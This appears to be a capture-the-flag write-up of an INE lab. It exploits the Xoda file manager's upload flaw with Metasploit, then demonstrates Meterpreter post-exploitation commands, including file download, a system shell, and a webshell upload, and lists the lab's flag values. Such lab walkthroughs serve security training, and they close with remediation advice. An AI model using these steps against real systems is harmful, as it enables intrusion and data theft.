cd ..
2025-11-14 / Log: meterpreter_basics

Meterpreter Basics

Host: INE Labs Diff: [MEDIUM]
#Meterpreter#Metasploit#Xoda#Post-Exploitation#File Transfer#Linux

Meterpreter Basics

Classification: Host & Network Penetration Testing / The Metasploit Framework
Target: demo.ine.local (192.239.82.3) — Ubuntu, Apache 2.4.7 (Xoda), MySQL 5.5

Flags

  • flag1 (/app/flag1): 5c50a439f040922188a22f88cecc5277
  • flag2 (/app/Secret Files/.flag2): bbbb3ed27502614e27bff65faea008a0

1. Executive Summary

The target runs the Xoda file manager (arbitrary file upload). After getting a Meterpreter session we exercise the core Meterpreter command set — remote/local navigation, reading and editing files, downloading archives, searching by directory/extension, printing checksums, inspecting PATH, listing processes and uploading a webshell — while collecting the lab’s flags.

2. Recon & Exploitation

ping -c 4 demo.ine.local
db_nmap -sV 192.239.82.3
services

Ping target

MSF global variables

Nmap scan

services — Apache (Xoda) + MySQL

Xoda web server on port 80

use exploit/linux/http/xoda_file_upload
set RHOSTS 192.239.82.3
set TARGETURI /
exploit

xoda_file_upload — Meterpreter session

3. Core Commands

System info and current user.

sysinfo
getuid

sysinfo

getuid

Backgrounding, running a command against a session from outside, and renaming sessions.

background
sessions -c "sysinfo" -i 1
sessions -n Victim1 -i 1

background

sessions -c ... -i

sessions -n ... -i (rename)

Back in the session, the shell-like commands (pwd, ls, lpwd, lls, cd).

Meterpreter command set

4. Flags 1 & 2 — Read & Navigate

cd /app
cat flag1                 # 5c50a439f040922188a22f88cecc5277
cd "Secret Files"         # quotes for spaces
ls
cat .flag2                # bbbb3ed27502614e27bff65faea008a0

cat flag1 / .flag2

5. Download, Unzip & Checksum

download pulls files to the attacker.

download flag5.zip

download (1)

download (2)

Unzipping flag5.zip with the given password, then removing it from the target.

unzip -P 56784 flag5.zip
rm flag5.zip

Unzipping flag5 (1)

Extracted clue (2)

Removing the zip (3)

Printing the checksum of the file named in the extracted clue.

checksum md5 /bin/bash

MD5 of /bin/bash

6. Search & PATH

Searching by directory and by extension; the PATH holds a file with “ckdo” in its name.

getenv PATH
search -d /usr/local/bin -f *ckdo*

search -d

search -f (by extension)

7. Shell, Processes & Upload

shell            # drop to a system shell (Ctrl+C to return)

shell

ps               # list processes
upload shell.php /app/

ps — process list

8. Notes & Remediation

  1. Patch/replace Xoda — arbitrary file upload leads directly to RCE.
  2. Make upload directories non-executable and validate file types server-side.
  3. Apply least privilege and monitor for webshell uploads and anomalous download/ upload activity.